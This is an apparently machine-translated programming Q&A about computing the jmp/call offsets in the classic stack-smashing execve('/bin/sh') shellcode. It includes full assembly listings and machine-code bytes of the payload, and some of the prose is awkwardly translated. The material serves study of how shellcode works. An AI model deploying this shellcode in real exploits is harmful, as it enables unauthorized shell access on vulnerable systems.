Assembly 粉碎堆栈以获得乐趣和利润:jmp补偿

Assembly 粉碎堆栈以获得乐趣和利润:jmp补偿,assembly,x86,shellcode,stack-smash,Assembly,X86,Shellcode,Stack Smash,要创建外壳代码,作者将偏移占位符替换为其计算值,即 jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%ea

要创建外壳代码,作者将偏移占位符替换为其计算值,即

jmp    offset-to-call           # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,array-offset(%esi)  # 3 bytes
movb   $0x0,nullbyteoffset(%esi)# 4 bytes
movl   $0x0,null-offset(%esi)   # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   array-offset(%esi),%ecx  # 3 bytes
leal   null-offset(%esi),%edx   # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax               # 5 bytes
movl   $0x0, %ebx               # 5 bytes
int    $0x80                    # 2 bytes
call   offset-to-popl           # 5 bytes
/bin/sh string goes here.
被翻译成这个

jmp    0x26                     # 2 bytes
popl   %esi                     # 1 byte
movl   %esi,0x8(%esi)           # 3 bytes
movb   $0x0,0x7(%esi)           # 4 bytes
movl   $0x0,0xc(%esi)           # 7 bytes
movl   $0xb,%eax                # 5 bytes
movl   %esi,%ebx                # 2 bytes
leal   0x8(%esi),%ecx           # 3 bytes
leal   0xc(%esi),%edx           # 3 bytes
int    $0x80                    # 2 bytes
movl   $0x1, %eax               # 5 bytes
movl   $0x0, %ebx               # 5 bytes
int    $0x80                    # 2 bytes
call   -0x2b                    # 5 bytes
.string \"/bin/sh\"             # 8 bytes
然而,我计算出调用的偏移量为0x2a或42字节(1+3+4+7+5+2+3+3+2+5+5+2),popl的偏移量为-0x2a


作者是如何得到0x26和-0x2b的?

0x2a
是正确的,可以通过组装来验证。对于
调用
而言,它显然会多出5个字节(因为这是
调用
指令的长度),因此
-0x2f
是正确的。有趣的是,你们两个都没有弄对;)请注意,这些是机器代码中的偏移量,而不是可以输入到汇编程序中的内容。为此,您只需使用标签:

   1 0000 EB2A      jmp    label_call               # 2 bytes
   2                label_popl:
   3 0002 5E        popl   %esi                     # 1 byte
   4 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   5 0006 C6460700  movb   $0x0,0x7(%esi)           # 4 bytes
   6 000a C7460C00  movl   $0x0,0xc(%esi)           # 7 bytes
   6      000000
   7 0011 B80B0000  movl   $0xb,%eax                # 5 bytes
   7      00
   8 0016 89F3      movl   %esi,%ebx                # 2 bytes
   9 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
  10 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  11 001e CD80      int    $0x80                    # 2 bytes
  12 0020 B8010000  movl   $0x1, %eax               # 5 bytes
  12      00
  13 0025 BB000000  movl   $0x0, %ebx               # 5 bytes
  13      00
  14 002a CD80      int    $0x80                    # 2 bytes
  15                label_call:
  16 002c E8D1FFFF  call   label_popl               # 5 bytes
  16      FF
  17 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  17      2F736800 
或者使用
相对地址,但需要不同的偏移量,因为
指的是当前地址,而不是机器代码要求的下一条指令的地址:

   1 0000 EB2A      jmp    .+0x2c                   # 2 bytes
   2 0002 5E        popl   %esi                     # 1 byte
   3 0003 897608    movl   %esi,0x8(%esi)           # 3 bytes
   4 0006 C6460700  movb   $0x0,0x7(%esi)           # 4 bytes
   5 000a C7460C00  movl   $0x0,0xc(%esi)           # 7 bytes
   5      000000
   6 0011 B80B0000  movl   $0xb,%eax                # 5 bytes
   6      00
   7 0016 89F3      movl   %esi,%ebx                # 2 bytes
   8 0018 8D4E08    leal   0x8(%esi),%ecx           # 3 bytes
   9 001b 8D560C    leal   0xc(%esi),%edx           # 3 bytes
  10 001e CD80      int    $0x80                    # 2 bytes
  11 0020 B8010000  movl   $0x1, %eax               # 5 bytes
  11      00
  12 0025 BB000000  movl   $0x0, %ebx               # 5 bytes
  12      00
  13 002a CD80      int    $0x80                    # 2 bytes
  14 002c E8D1FFFF  call   .-0x2a                   # 5 bytes
  14      FF
  15 0031 2F62696E  .string "/bin/sh"               # 8 bytes
  15      2F736800 
在这两种情况下,拆卸都是:

   0:   eb 2a                   jmp    0x2c
   2:   5e                      pop    %esi
   3:   89 76 08                mov    %esi,0x8(%esi)
   6:   c6 46 07 00             movb   $0x0,0x7(%esi)
   a:   c7 46 0c 00 00 00 00    movl   $0x0,0xc(%esi)
  11:   b8 0b 00 00 00          mov    $0xb,%eax
  16:   89 f3                   mov    %esi,%ebx
  18:   8d 4e 08                lea    0x8(%esi),%ecx
  1b:   8d 56 0c                lea    0xc(%esi),%edx
  1e:   cd 80                   int    $0x80
  20:   b8 01 00 00 00          mov    $0x1,%eax
  25:   bb 00 00 00 00          mov    $0x0,%ebx
  2a:   cd 80                   int    $0x80
  2c:   e8 d1 ff ff ff          call   0x2
确认正确的目标地址

PS:外壳代码中没有字节通常不是一个好主意